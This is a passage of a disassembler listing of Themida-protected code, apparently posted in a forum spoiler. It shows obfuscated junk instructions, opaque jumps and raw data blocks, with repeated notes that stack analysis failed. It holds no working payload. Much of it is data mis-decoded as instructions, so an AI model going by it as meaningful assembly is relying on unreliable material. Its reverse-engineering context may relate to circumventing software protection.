"+" TO EXPAND] db 0C5h, 0F7h, 0F0h byte_605953 db 0DEh ; CODE XREF: sub_605956+4Dj db 5Ch, 25h ; =============== S U B R O U T I N E ======================================= sub_605956 proc near ; CODE XREF: Themida_:loc_605944p ja loc_605962 jns $+6 loc_605962: ; CODE XREF: sub_605956j pop edx stc push ecx mov al, 95h pop ebx jmp loc_60597F ; --------------------------------------------------------------------------- db 7Bh, 0E0h, 0DDh dd 48AC84D7h, 232D50EAh, 37951452h db 0Ah, 0Bh, 18h ; --------------------------------------------------------------------------- loc_60597F: ; CODE XREF: sub_605956+12j push esi jmp loc_60598A ; --------------------------------------------------------------------------- db 84h, 67h, 0EEh db 0F3h, 9Ah ; --------------------------------------------------------------------------- loc_60598A: ; CODE XREF: sub_605956+2Aj pop edi jno loc_605999 jz loc_605999 push esi pop ecx loc_605999: ; CODE XREF: sub_605956+35j ; sub_605956+3Bj call near ptr loc_6059AC+5 push edx loope loc_6059E4 rep pop ecx jnz short near ptr byte_605953 mov edx, 823C8108h adc al, 45h loc_6059AC: ; CODE XREF: sub_605956:loc_605999p mov ds:5FBED968h, ah sub_605956 endp ; sp-analysis failed mov di, 0EFF7h call sub_6059CF lock push es pop eax cli jmp far ptr 0F21Ch:25F42B6Ah ; --------------------------------------------------------------------------- dw 0A429h dd 2EE7EDD2h db 25h, 0BEh, 8Ch ; =============== S U B R O U T I N E ======================================= sub_6059CF proc near ; CODE XREF: Themida_:006059B6p arg_28 = byte ptr 2Ch ; FUNCTION CHUNK AT 006059F9 SIZE 0000001C BYTES push edx jbe $+6 pop edx pop edi jle loc_6059F9 call near ptr loc_6059F2+3 pop es loc_6059E4: ; CODE XREF: sub_605956+49j inc edi out 5Eh, al movsb or ecx, eax pop ebx sub [esp+eax*2-0Ch+arg_28], al push edx and ecx, [ecx] loc_6059F2: ; CODE XREF: sub_6059CF+Fp mov byte ptr ds:0F6B70F49h, 5Bh sub_6059CF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_6059CF loc_6059F9: ; CODE XREF: sub_6059CF+9j pusha add esi, 5A1A4271h mov edx, 23C7D64Eh popa call sub_605A15 xchg eax, esi xchg eax, ebx cmp [ecx], eax mov cl, 65h nop db 26h xor al, 0Ch ; END OF FUNCTION CHUNK FOR sub_6059CF ; =============== S U B R O U T I N E ======================================= sub_605A15 proc near ; CODE XREF: sub_6059CF+37p cmc pop edx mov dx, 1856h add dx, 0ED6Ah mov di, 2EEh stc jb loc_605A33 jbe loc_605A33 pusha popa loc_605A33: ; CODE XREF: sub_605A15+10j ; sub_605A15+16j push esi sub si, 0C4CBh pop esi push edx call near ptr loc_605A4C+4 bound esi, ds:8F2A6710h db 67h mov bl, 64h mov ch, 0B4h movsb loc_605A4C: ; CODE XREF: sub_605A15+26p mov edi, 0F2375ACh sub_605A15 endp ; sp-analysis failed xchg al, [eax] ; --------------------------------------------------------------------------- db 0 dd 5E5F0000h, 4761E781h, 0C78104E8h, 3D0D8FAAh, 2EB86660h dd 0E9816189h, 4FC309D9h, 0CB8151h, 5E05E531h, 5FBEF681h dd 0C88114C8h, 1B7A4AEAh, 816644B0h, 0E95113D3h, 13h, 0E847E9BDh dd 14E402BAh, 0EE3729F7h, 0D2C16E83h, 0FDAF888h, 987h dd 3880F00h, 80000000h, 0DCBB3DC5h, 0F5C3C6Ah, 5760C3BFh dd 0DE9h, 0C8173700h, 2E4639BEh, 0F26C1F56h, 0B95E00D9h dd 2607DD76h, 9DD18161h, 50506F71h, 5830Fh, 81660000h dd 58F2C5C8h, 816651F9h, 5BDBFAE3h, 870FDA8Bh, 2, 890FB6B2h dd 9, 3870Fh, 0F7800000h, 0AE860A7h, 57000000h, 0A244A0Eh dd 95A6D57Ah, 0EE8D1h, 0F34E0000h, 4877047Ah, 0CA72ACFh dd 482A763Fh, 61FC585Bh, 4521C281h, 840F3BC7h, 2, 13E8C38Bh dd 0D4000000h, 8A9D141Ah, 35C57108h, 0C85101D9h, 1BEF4B28h dd 0BF0FF721h, 0F5605EDBh, 0CE961F5h, 96000000h, 0E6402C5Dh dd 15E65CB1h, 60F2BBC0h, 0E8C0Fh, 9E90000h, 0F7000000h dd 793D40A9h, 0BEC9319Ch, 0CAB70F50h, 8A0F6158h, 0 dd 59F18A52h, 0B0D78BFCh, 0D081663Bh, 0F28BD23Bh, 0FD3B70Fh dd 0C8Ah, 68E0F00h, 0F000000h, 8Eh, 0E6816600h, 96BB2335h dd 663BCC40h, 6650CA8Bh, 5A8951BFh, 9E9h, 7CEDB900h, 0BB397D51h dd 0DA8B1E85h, 9E3CBA66h, 0AB2A2BBEh, 0EF816604h, 8D0FAF0Ah dd 3, 66FB8B66h, 0B757CCB8h, 5CB8662Dh, 33BA66E9h, 14E981h dd 0E5AC0000h, 4043809Eh, 82BEC357h, 8592FD8Eh, 0FEEF888Fh dd 8F0F568Dh, 1, 9FBE66FCh, 0F28B6692h, 0E9F86060h, 0Ah dd 0FA52A1DAh, 1E172D3Ch, 0E961968Ch, 0Fh, 359783CDh, 0E63F7C33h dd 2F28BCC6h, 617C26C8h, 14E9h, 68FBCF00h, 0CFE6E65Fh dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BF0FF8CEh, 8DC081D9h dd 0B000B7B4h, 2EE58061h, 18800F50h, 0E9000000h, 13h, 0EB44EDF1h dd 34E871B5h, 0ED6DB31Eh, 1A1648A8h, 5FF9E22Eh, 5E9h, 245BBD00h dd 860F9845h, 1, 0CE8F8h, 8F0C0000h, 2A227F29h, 5548FD3Ch dd 8166659Bh, 594E2DE3h, 0F6816660h, 61FC4E17h, 0BE6650h dd 8B66590Fh, 14E8CBh, 5CDD0000h, 0AC372752h, 6FAC79ADh dd 64187145h, 0A35E1FB8h, 0BE89AEBh, 32000000h, 0B4FA9AF5h dd 39AC03B3h, 595163F4h, 8B665B5Fh, 0FCA8BF8h, 0BF0FD8B7h dd 0F18B5FAh, 0CA81DFB7h, 1951AF79h, 56B55357h, 810F5F58h dd 0Ch, 68E0Fh, 0F1810000h, 4A411130h, 589B3CB8h, 178A0F47h dd 0E9000000h, 12h, 5AE8E707h, 445105E7h, 0E93D30DFh, 7F65D6C7h dd 0E8F8220Eh, 0Bh, 0C6ED0B85h, 7272A449h, 6641AAE0h, 0B958F98Bh dd 3F64C9E2h, 800Fh, 0BF660000h, 0CF81872Bh, 5EF56352h dd 5860Fh, 73BB0000h, 5057045Fh, 2840F5Fh, 8B000000h, 53C080D0h dd 57C78B66h, 8B66575Ah, 0C3815BC1h, 6ACF4A0Fh, 0FE9h dd 7CE17500h, 6B5652C5h, 1F769AB9h, 0E063E4Ch, 8E960h dd 3FCF0000h, 70FEA8D3h, 0E860C32Dh, 0Ch, 0CA438285h, 3FCA0D95h dd 0EC762924h, 0CE95Ah, 9D250000h, 0C5FA5591h, 42AF8BC0h dd 6161726Eh, 6E9h, 0DD455300h, 0F9FF13EAh, 7E9CB8Ah, 11000000h dd 4F66362h, 0AE966E3h, 6E000000h, 0B9913903h, 0FB47C250h dd 0E9F560A0h, 0Eh, 0CFE7B40Eh, 0E013A5F3h, 0C081E405h dd 66613477h, 0B057F081h, 49FE781h, 0AFBA781Eh, 6655D031h dd 0F98BD38Bh, 0FFB8B66h, 830FC2BFh, 6, 3548F281h, 13E815D1h dd 0C8000000h, 8CF5D4DFh, 958F48B7h, 2C52CF0h, 5FB33035h dd 0E5809E5Bh, 12E959F7h, 0C6000000h, 5BE1FAE9h, 0C889EB88h dd 9335F770h, 0A5D607C6h, 14E918h, 78D10000h, 66A88B6Bh dd 23A428BBh, 0AEA0AE7Bh, 0D678F6BFh, 0F781E040h, 1B5481C0h dd 0E7815060h, 20C001CEh, 0D7BF0F5Eh, 8077B061h, 0D7B11AE4h dd 0BEF98B66h, 607FABA0h, 14E9h, 0BF3DD600h, 6C69A28Fh dd 47FE6994h, 2F0003A7h, 49997470h, 0EA816685h, 0DE9F225h dd 4B000000h, 2495CB1Fh, 95DA318Fh, 36B301Dh, 58C0Fh, 81660000h dd 6682F2EBh, 6DDFF281h, 0C28B6660h, 0B1F38A61h, 0CEBF66D3h dd 810F26h, 0E9000000h, 11h, 32C067Ch, 51918177h, 99FC2B8h dd 2A25527Ah, 0B86660C5h, 850FD526h, 1, 11E961F8h, 0F6000000h dd 4F0E420Fh, 2FD68162h, 0FEB068F6h, 3682FC8h, 16870Fh dd 0EE80000h, 33000000h, 49BA29C0h, 0BAA70860h, 7DD66F27h dd 595F57D8h, 8ACABF0Fh, 2D96B9CEh, 8B667E24h, 2BBA66F8h dd 0E6B86673h, 0D8E18195h, 0F5FA51Dh, 38Ah, 0DEDC8000h dd 5810Fh, 31BE0000h, 0F414694h, 386h, 5BF55100h, 0F081D5B0h dd 639654BAh, 28A0F53h, 0B3000000h, 11E85EA8h, 0C1000000h dd 0A5291B0h, 0C3E0A1D8h, 0A6CA7A51h, 0F106D5Ch, 0F38B6656h dd 11E85A5Eh, 4F000000h, 24EA5470h, 0C7E1AE2Ah, 46913C1Eh dd 0ABC40B36h, 0CBEB08B8h, 81665A55h, 0E8A5D3EBh, 13h dd 1DC679E7h, 8D8AF0A3h, 0CD65CCAAh, 0FCBC9E4h, 0BA90E1C1h dd 29897B71h, 28D0F5Ah, 8A000000h, 58C0FF1h, 0BA000000h dd 72FDC961h, 183D64BEh, 5E943h, 61EB0000h, 664FD8C8h dd 8B66CE8Bh, 5850FD1h, 0BB000000h, 4BB452E4h, 0BE8F98Bh dd 94000000h, 0DEDC176Bh, 0B995610h, 0BB539301h, 2C1D9E6Ah dd 7E95959h, 0C9000000h, 0FCD22DD9h, 0D681839Fh, 589252F1h dd 6651D38Bh, 0E85FFB8Bh, 0Fh, 67D1842Ah, 577E5715h, 0A54B4EE1h dd 0E952F03Bh, 0Ah, 9BE2309Eh, 0E8A65E18h, 0F5EF513h, 1682h dd 11E900h, 89AD0000h, 0DB2E454Ah, 4D5C062Ch, 7A38CB44h dd 0F9F0C21Bh, 0F4C2A7BEh, 665E504Dh, 0FCE35EB9h, 92C0BB66h dd 0DE9FCh, 0C3CE0000h, 572814E7h, 0A34E091Bh, 6038751Bh dd 606108B2h, 33F4F781h, 61F50826h, 774FBF66h, 66F7BF0Fh dd 0E921BBBFh, 5, 0D3DB537Fh, 0FE904h, 9B330000h, 25CD8C6Bh dd 0F9E4BDDBh, 0BC9CEE46h, 8B66535Eh, 0EB805EFBh, 128C0FA8h dd 60000000h, 0AE8h, 6A952900h, 0AD29B4Ch, 5EFEEE58h, 8BC18A61h dd 0E86EBBFEh, 5E948B9h, 0E5000000h, 0B4A2F3Ah, 5E8h, 44782400h dd 0F609714h, 8Bh, 0F5F6100h, 583h, 0F0816600h, 13E87D5Bh dd 7B000000h, 0F55301CBh, 4947C031h, 0CEFC93ABh, 6ECD776Fh dd 0C78AC82Bh, 0C28B605Eh, 58C0Fh, 28B90000h, 61254965h dd 0EC18166h, 0EE929h, 0E1E0000h, 0C5B23853h, 0B719DCC8h dd 0BE4DFEAFh, 6800F60h, 0F000000h, 86h db 0 ; --------------------------------------------------------------------------- loc_6061A5: ; DATA XREF: sub_581EE9:loc_58BF2Ao popa sbb eax, 0D7456Bh jmp loc_6061C1 ; --------------------------------------------------------------------------- db 62h, 0C5h, 0B8h dd 26C59896h, 0A4A3B117h, 0F2F669FCh db 6Bh ; --------------------------------------------------------------------------- loc_6061C1: ; CODE XREF: Themida_:006061ACj or dl, 0E1h sbb esi, 5B57878h call sub_6061DD ; --------------------------------------------------------------------------- db 5Bh dd 77F22A60h, 0D8AB80F6h, 3E7E0C58h ; --------------------------------------------------------------------------- inc eax ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_6061DD proc near ; CODE XREF: Themida_:006061CAp jmp sub_6061E9 sub_6061DD endp ; --------------------------------------------------------------------------- dw 92EAh dd 337A209Ch db 0BBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_6061E9 proc near ; CODE XREF: sub_6061DDj pop ebx sub bx, 3444h xor dx, 7491h jnp loc_606210 jmp loc_606210 ; --------------------------------------------------------------------------- db 8Ah dd 5379FA11h, 0ACC38D6Dh, 0D8293EF9h, 0AE9993F6h ; --------------------------------------------------------------------------- loc_606210: ; CODE XREF: sub_6061E9+Bj ; sub_6061E9+11j jge loc_606225 jmp loc_606225 ; --------------------------------------------------------------------------- db 50h dd 0FF7E2FAEh, 66FD73Eh db 0EDh ; --------------------------------------------------------------------------- loc_606225: ; CODE XREF: sub_6061E9:loc_606210j ; sub_6061E9+2Dj adc edi, 7DDC93E5h or ecx, 1F34EB93h push ecx pop edi jmp loc_606240 ; --------------------------------------------------------------------------- dd 214C18C9h, 0C744F902h ; --------------------------------------------------------------------------- loc_606240: ; CODE XREF: sub_6061E9+4Aj ja loc_606248 mov cl, 5 loc_606248: ; CODE XREF: sub_6061E9:loc_606240j mov edx, esi jmp loc_60625E ; --------------------------------------------------------------------------- db 25h dd 0DE33AF62h, 770B773Dh, 0DF31FA99h db 7, 0E9h ; --------------------------------------------------------------------------- loc_60625E: ; CODE XREF: sub_6061E9+61j jle loc_606269 push ebx mov bx, di pop esi loc_606269: ; CODE XREF: sub_6061E9:loc_60625Ej mov bx, 52E2h mov di, 0E03Ch jmp loc_606289 ; --------------------------------------------------------------------------- dw 0B0BCh dd 0DCED1942h, 0B29BEC8Ch, 64DDC776h, 3AC5D42Fh db 0Fh ; --------------------------------------------------------------------------- loc_606289: ; CODE XREF: sub_6061E9+88j cld pusha mov esi, edx sub eax, 0BA8C632h popa xor bl, 0A2h mov ecx, 16CA6E5Bh add dh, 0EBh jb loc_6062AA mov eax, 33BE8465h loc_6062AA: ; CODE XREF: sub_6061E9+B6j sub ax, 4BD4h movzx ecx, bx jge loc_6062BE sbb esi, 49DCB25Bh loc_6062BE: ; CODE XREF: sub_6061E9+C9j mov ah, 0EEh mov eax, edi push eax call near ptr loc_6062CF+5 ; --------------------------------------------------------------------------- pop edx int 3 ; Trap to Debugger xor eax, 0EB7225Ah loc_6062CF: ; CODE XREF: sub_6061E9+DAp jmp far ptr 5F5Fh:0E913FCA6h sub_6061E9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jz loc_6062E0 mov si, 941Dh loc_6062E0: ; CODE XREF: Themida_:006062D6j jmp loc_6062F6 ; --------------------------------------------------------------------------- db 5Dh, 6Ah, 44h dd 3F8EF4FEh, 46FABCD8h, 6AFBC1A9h ; --------------------------------------------------------------------------- xor ah, cl loc_6062F6: ; CODE XREF: Themida_:loc_6062E0j adc ebx, 530436B3h and edi, 46EC19E0h pusha push esi jmp loc_606319 ; --------------------------------------------------------------------------- db 38h, 1Ah, 70h dd 6FC8BE49h, 0A011B041h, 5B1A1EBh db 3Bh ; --------------------------------------------------------------------------- loc_606319: ; CODE XREF: Themida_:00606304j pop ecx jns loc_606325 or cx, 7FFCh loc_606325: ; CODE XREF: Themida_:0060631Aj popa call sub_606336 add esi, [ecx] db 66h mov ds:6646C19Ah, al jns short loc_6063AC daa ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_606336 proc near ; CODE XREF: Themida_:00606326p jmp sub_60634C sub_606336 endp ; --------------------------------------------------------------------------- db 3Fh dd 553E8DD6h, 37B711B1h, 0E6362BBCh, 0BB75D45Fh ; =============== S U B R O U T I N E ======================================= sub_60634C proc near ; CODE XREF: sub_606336j ; FUNCTION CHUNK AT 006063D3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 006063DC SIZE 0000002C BYTES pop esi jmp loc_606363 ; --------------------------------------------------------------------------- dw 2F50h dd 0CE58EA80h, 0D4CA473h, 0CA8B7D9Bh db 0CDh, 3, 0A6h ; --------------------------------------------------------------------------- loc_606363: ; CODE XREF: sub_60634C+1j cld mov si, ax push eax jbe loc_606383 jmp loc_606383 ; --------------------------------------------------------------------------- cmp al, 0BCh jle short loc_6063E5 push esi pop edi les ecx, [edi+1B8ED8D1h] mov dh, 25h jbe short loc_6063D3 loc_606383: ; CODE XREF: sub_60634C+1Cj ; sub_60634C+22j pop edx and bx, 8914h add ax, 2FC9h sub dh, 44h pusha mov di, ax or edi, 0FF327A6h popa jns loc_6063A6 ; CODE XREF: sub_60634C+B7j mov cx, 8EE7h loc_6063A6: ; CODE XREF: sub_60634C+50j mov si, di movsx ecx, cx loc_6063AC: ; CODE XREF: Themida_:00606333j call near ptr loc_6063BB+2 imul edi, [edi], 8DDDA6CDh xor esi, [ebx+edi*8] pop ds loc_6063BB: ; CODE XREF: sub_60634C:loc_6063ACp mov ebx, 0D3B70F73h sub_60634C endp ; sp-analysis failed pop ebx clc mov edi, 79E27CA8h mov di, 516Bh jg loc_6063D3 mov cl, 0E5h ; START OF FUNCTION CHUNK FOR sub_60634C loc_6063D3: ; CODE XREF: sub_60634C+35j ; Themida_:006063CBj pusha push ebx jmp loc_6063EE ; END OF FUNCTION CHUNK FOR sub_60634C ; --------------------------------------------------------------------------- dw 0C2E8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60634C loc_6063DC: ; CODE XREF: sub_60634C+B9j outsd cmp esi, [edx-31h] push esp imul edx, [edi-3Ch], 47h loc_6063E5: ; CODE XREF: sub_60634C+29j fucom st(4) sbb [edi], ebp jnb short near ptr sub_60641D+5 or [ebx+ecx], dl loc_6063EE: ; CODE XREF: sub_60634C+89j pop edx ja loc_606409 call near ptr sub_606408 sbb eax, 859ED0FCh add ebx, [esi-41h] cmpsb jg short near ptr loc_60639C+2 jb short loc_6063DC outsb ; END OF FUNCTION CHUNK FOR sub_60634C ; =============== S U B R O U T I N E ======================================= sub_606408 proc far ; CODE XREF: sub_60634C+A9p pop eax loc_606409: ; CODE XREF: sub_60634C+A3j popa clc movsx edx, dx call sub_60641D lodsb sbb ecx, [ebx+edx*8] out 0E4h, eax wait retf 76FDh sub_606408 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60641D proc near ; CODE XREF: sub_606408+6p ; sub_60634C+9Dj ; FUNCTION CHUNK AT 006064F7 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00606539 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0060654E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00606568 SIZE 0000001E BYTES and edi, 74CC5D2Ah pop ecx mov bx, dx jmp loc_606438 ; --------------------------------------------------------------------------- dd 3AD99C61h, 1B84A42Bh, 7A5A9D64h ; --------------------------------------------------------------------------- loc_606438: ; CODE XREF: sub_60641D+Aj mov edx, edi mov ebx, 1DB6559h adc ecx, 412159BFh clc mov cl, 81h pusha sub esi, 6BCECC0Eh jmp loc_606467 ; --------------------------------------------------------------------------- dd 76BCF434h, 6F68EB99h ; --------------------------------------------------------------------------- loc_60645C: ; CODE XREF: sub_60641D+96j loope loc_606494 mov [esi], gs mov esp, 242BB70h sbb al, 81h loc_606467: ; CODE XREF: sub_60641D+32j popa mov bx, 9E8Eh jnz loc_606475 mov ax, cx loc_606475: ; CODE XREF: sub_60641D+4Fj adc ecx, 5700564Eh push eax add cx, 94FCh pop edi and cx, 7AFEh ; CODE XREF: sub_60641D:loc_6064AEj jmp loc_606494 ; --------------------------------------------------------------------------- dd 8D37DEEDh, 40407695h ; --------------------------------------------------------------------------- loc_606494: ; CODE XREF: sub_60641D:loc_60645Cj ; sub_60641D+6Aj push ebx pop edx movsx esi, ax mov ax, 46EBh jmp loc_6064B5 ; --------------------------------------------------------------------------- dw 0A0D0h dd 705426B0h, 0EF876723h db 0E7h, 80h ; --------------------------------------------------------------------------- loc_6064AE: ; CODE XREF: sub_60641D+CFj jb short near ptr loc_606482+4 sbb ch, [esi+7Ah] jno short loc_60645C loc_6064B5: ; CODE XREF: sub_60641D+80j mov ah, 47h mov cl, dh jmp loc_6064CA ; --------------------------------------------------------------------------- dw 177Eh dd 72591679h, 0B6D1C595h ; --------------------------------------------------------------------------- inc ebx push ds loc_6064CA: ; CODE XREF: sub_60641D+9Cj add eax, 3B2B5DEh xor esi, 568E2B29h mov dh, 0AAh xor edi, 68043C1Bh jo loc_6064F7 call near ptr loc_6064F0+3 push ecx aam 17h jg short loc_6064AE test esi, ebp loc_6064F0: ; CODE XREF: sub_60641D+C7p sar dword ptr [esi-3574996Eh], cl sub_60641D endp ; sp-analysis failed pop ecx ; START OF FUNCTION CHUNK FOR sub_60641D loc_6064F7: ; CODE XREF: sub_60641D+C1j jns loc_606505 push esi add ecx, 34F3FF6Ah pop ebx loc_606505: ; CODE XREF: sub_60641D:loc_6064F7j jnz loc_60650E movzx esi, cx loc_60650E: ; CODE XREF: sub_60641D:loc_606505j mov ax, 9370h call near ptr loc_60651E+1 insd lodsd push eax setalc test al, 8Bh push edi loc_60651E: ; CODE XREF: sub_60641D+F5p db 64h adc ax, 0FE61h pop edi mov bl, al push esi jmp loc_606539 ; END OF FUNCTION CHUNK FOR sub_60641D ; --------------------------------------------------------------------------- db 0D9h, 63h, 77h dd 3AE1C61h, 0B911DBF9h db 0D0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60641D loc_606539: ; CODE XREF: sub_60641D+10Bj pop edx stc mov dl, ch or ah, 3Dh mov bh, al jmp loc_60654E ; END OF FUNCTION CHUNK FOR sub_60641D ; --------------------------------------------------------------------------- db 86h dd 29E138F8h db 0C9h, 0C6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60641D loc_60654E: ; CODE XREF: sub_60641D+125j jnp $+6 push esi jmp loc_606568 ; END OF FUNCTION CHUNK FOR sub_60641D ; --------------------------------------------------------------------------- dw 53F4h dd 4C933B7Eh, 0AEBEB752h, 0D404E12Dh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60641D loc_606568: ; CODE XREF: sub_60641D+138j pop eax add dx, 0D7CCh mov ax, cx mov si, 445Dh cmc xor esi, 252631A2h call sub_606586 mov al, ds:0A2D97430h ; END OF FUNCTION CHUNK FOR sub_60641D ; =============== S U B R O U T I N E ======================================= sub_606586 proc near ; CODE XREF: sub_60641D+15Fp pop esi movsx esi, di or edi, 3091E309h mov si, di pusha stc mov esi, ecx popa mov cx, di jmp loc_6065B1 ; --------------------------------------------------------------------------- dd 9BF943C7h, 0BE0C1889h, 0C3958815h, 64D7BDF4h db 0D9h ; --------------------------------------------------------------------------- loc_6065B1: ; CODE XREF: sub_606586+15j ; sub_606586+5Cj mov di, 7E26h jbe loc_6065C0 mov edi, 4814A1B7h loc_6065C0: ; CODE XREF: sub_606586+2Fj mov bx, 3567h mov bx, si mov ch, ah movsx edi, cx loc_6065CC: ; CODE XREF: sub_6065E6+12j pusha call sub_6065E6 mov ebp, 0C2D31900h clc xor al, 6Eh insb adc ebx, [ecx-756618D2h] in al, dx jns short loc_6065B1 xor [ebx], bh sub_606586 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6065E6 proc near ; CODE XREF: sub_606586+47p mov bx, ax pop edx sub ecx, 19CA977Bh popa call near ptr loc_6065FF+3 scasb inc esp jb short loc_6065CC pop ebx inc ebx lodsd push esi pop esp loc_6065FF: ; CODE XREF: sub_6065E6+Bp mov ebp, 8166830Fh sub_6065E6 endp ; sp-analysis failed setalc fcmovne st, st(7) pop edx mov al, bl ja loc_606613 add dh, 30h loc_606613: ; CODE XREF: Themida_:0060660Aj push ecx jmp loc_606628 ; --------------------------------------------------------------------------- db 0Dh, 0F9h, 7Dh dd 9DB42C51h, 669453EAh, 3DB5DF6Fh ; --------------------------------------------------------------------------- loc_606628: ; CODE XREF: Themida_:00606614j pop ecx jmp loc_60663B ; --------------------------------------------------------------------------- dw 0DB55h dd 927F594Dh, 0BF9F881Fh ; --------------------------------------------------------------------------- xor [edx-80h], ebp loc_60663B: ; CODE XREF: Themida_:00606629j call near ptr loc_606642+7 into inc edi loc_606642: ; CODE XREF: Themida_:loc_60663Bp test dword ptr [edx+30731A4Dh], 0C08166E1h ; --------------------------------------------------------------------------- dd 0E958DCFEh, 9, 37FCAA9Dh, 0B8E5DEEBh, 0B4BB66B6h, 15830F86h dd 0E9000000h, 10h, 7350B09Ah, 77345F86h, 451B93F8h, 0F2D45655h dd 28D38DBAh, 0D0B70F6Fh, 0A0C88166h, 0FE90Bh, 5D500000h dd 2F9B27B6h, 27693FE5h, 3DF44354h, 58F0F05h, 66000000h dd 3133CE81h, 420ABF66h, 8850Fh, 820F0000h, 2, 11E8DE8Ah dd 0DD000000h, 0D5FC907Bh, 1CC3BD48h, 6096B030h, 22FCC79Fh dd 2850Fh, 61600000h, 10810F5Bh, 0E9000000h, 0Bh, 0CA6F6B6Ch dd 0B479E519h, 0E9E01A88h, 13h, 50218AACh, 0D2F9981Ah dd 0B79314D0h, 1715A7F9h, 6066F5D6h, 8B5F5060h, 880F61C6h dd 2, 0E8616160h, 0Eh, 3419DBC1h, 536AE2D9h, 0B9719414h dd 815A9E70h, 0A87DE2C2h, 0D0816603h, 8E9A165h, 61000000h dd 2514A290h, 816FA97Ch, 21CC2CBh, 13E8574Ah, 0BC000000h dd 895B9030h, 589156D8h, 48550F9Fh, 2418313Dh, 8B667220h dd 66595FDFh, 8F64E181h, 58A0Fh, 0D8B90000h, 606B8C51h dd 0BE9h, 287E6E00h, 4961BA91h, 1024C83Dh, 6E9h, 76CF4400h dd 61E5523Ah, 65956FBBh, 0C9BE6607h, 0FD38BD6h, 0DE9D0B7h dd 0C1000000h, 17856AA4h, 0BDC4C506h, 3BF4F167h, 8E9h dd 1EF6AD00h, 971BF5DDh, 2AD0809Dh, 28C0Fh, 8EB60000h dd 8E9h, 96A7E400h, 191AB31Dh, 14E8D5h, 8E6A0000h, 6312D815h dd 1993C66h, 0A64C2711h, 187A0FBEh, 0F78B1D27h, 6403B958h dd 8B6650F3h, 0B4DA8ACBh, 3FEBBB76h, 0BE6638A0h, 0BE669308h dd 0D9816A0Fh, 4FC9944Eh, 0E7D5E181h, 0BF667D63h, 0BF0F60B8h dd 0E38166F1h, 60F8424Ch, 0E9F9B70Fh, 6, 0AC3BB11Fh, 0F61AAB1h dd 28Ah, 0BE85B400h, 3BA9573Ah, 0B958DE81h, 0B5BF36C2h dd 0F4F5B47h, 8B0FF9B7h, 5, 0DF78166h, 0EBB86653h, 0B5D98B70h dd 6E85Ch, 0E1730000h, 6A4D5212h, 0C5D98160h, 8B6080A7h dd 0B55A61D1h, 0D1B8B883h, 0AE96294h, 64000000h, 143679F7h dd 1B6608E9h, 0EE92Eh, 0CB970000h, 0CE9A618Dh, 0F7CE145Dh dd 0BFEBA633h, 0E9F98B66h, 0Dh, 0C6D21F5Ch, 1A81BEE0h dd 490E743Fh, 12E97Ch, 450B0000h, 0D5CBDF45h, 0A55154CDh dd 4637899h, 6C97B4FEh, 0DE856h, 21650000h, 1E0F8219h dd 0F0125F74h, 0F8032E3h, 8Fh, 0E95A5E00h, 0Fh, 348099DDh dd 4577D7F6h, 77DD4009h, 608671ABh, 2830Fh, 0C88B0000h dd 0A4A95B8h, 0F281614Eh, 32F9B60Eh, 1800Fh, 0B1F90000h dd 0F18B60F7h, 2413B866h, 3BBE61h, 6E97A47h, 5F000000h dd 0A13838A9h, 18E0F40h, 0FC000000h, 8109DA80h, 0CC650DE2h dd 12E911h, 91350000h, 481403Dh, 60853D74h, 0F65A21B4h dd 2CCCC3EDh, 17810Fh, 12E90000h, 6000000h, 2F46E8E3h dd 8FB77926h, 0D715E72Ah, 0B1104F0Ch, 75BE6646h, 0CE94Ah dd 0F9DE0000h, 0F5913D68h, 81096447h, 80F50833h, 0CB8BA2F0h dd 8C0FD78Bh, 0Bh, 58D0Fh, 81660000h, 667D8FE6h, 662F53BAh dd 0E8D87CBAh, 0Dh, 143080B5h, 9C6AD33h, 1DD51B43h, 0E28166F0h dd 605FA685h, 9B44F381h, 0E9515C6Ah, 5, 0D66EFE5Eh, 0F615E2Eh dd 48Ah, 0CE8B5600h, 0BFF5605Fh, 6B6D91B3h, 0CE961h, 47E50000h dd 85039A94h, 0EED2396h, 0F98B3C20h, 0E9DE8B66h, 14h, 195556B4h dd 3B7D8BDEh, 975F9F68h, 7555DA71h, 0E7CD6652h, 0BDE68166h dd 0DE9DCh, 0CCCB0000h, 49C9654h, 10D554A1h, 662647C7h dd 0CD1BCE81h, 0FE9h, 6C621000h, 5ECC7547h, 0A3EC5472h dd 6BBCF7B1h, 0BCEA81F5h, 0F7160D7h, 880FF0BFh, 3, 608BD480h dd 28B0Fh, 0F78B0000h, 2840Fh, 43B20000h, 0D08B6661h, 0FE9F5h dd 36DE0000h, 0AC908B13h, 2AF54234h, 0C51D4835h, 92B866E9h dd 9E9FC99h, 0C8000000h, 9C6EA445h, 0F9D56F3Ch, 810Fh dd 0E9F50000h, 0Dh, 0DE740FD8h, 8847C9B8h, 35627B57h, 8E89B910h dd 0B70F7817h, 0E5B966F1h, 38A0F22h, 57000000h, 8E0F5FFCh dd 3, 60C2B70Fh, 5F1DBA66h, 6176DA80h, 0DAB70FF5h, 14E9h dd 9E772A00h, 5EF71322h, 6CD62C0Bh, 178C555Bh, 0C13124C7h dd 38A0F33h, 66000000h, 0FE9CE8Bh, 2F000000h, 19BFF7FAh dd 6591CD40h, 2E28B5B0h, 13E81AC0h, 12000000h, 0DAC255A9h dd 7F571CF8h, 5074B00h, 6A2D21B1h, 0BF0FDAF4h, 8B665AFAh dd 8E9F7h, 37350000h, 430AFF2Ah, 8F0F6C12h, 1Bh, 13E850h dd 7420000h, 0DF167792h, 9C59D852h, 75C87411h, 0A639DE57h dd 0E9595B01h, 6, 8AE8F74Dh, 820F4D95h, 5, 0ABE78166h dd 0DE8166BBh, 6E80110h, 2A000000h, 0BC72F6E9h, 0E95FBB54h dd 0E95E5820h, 14h, 524A6432h, 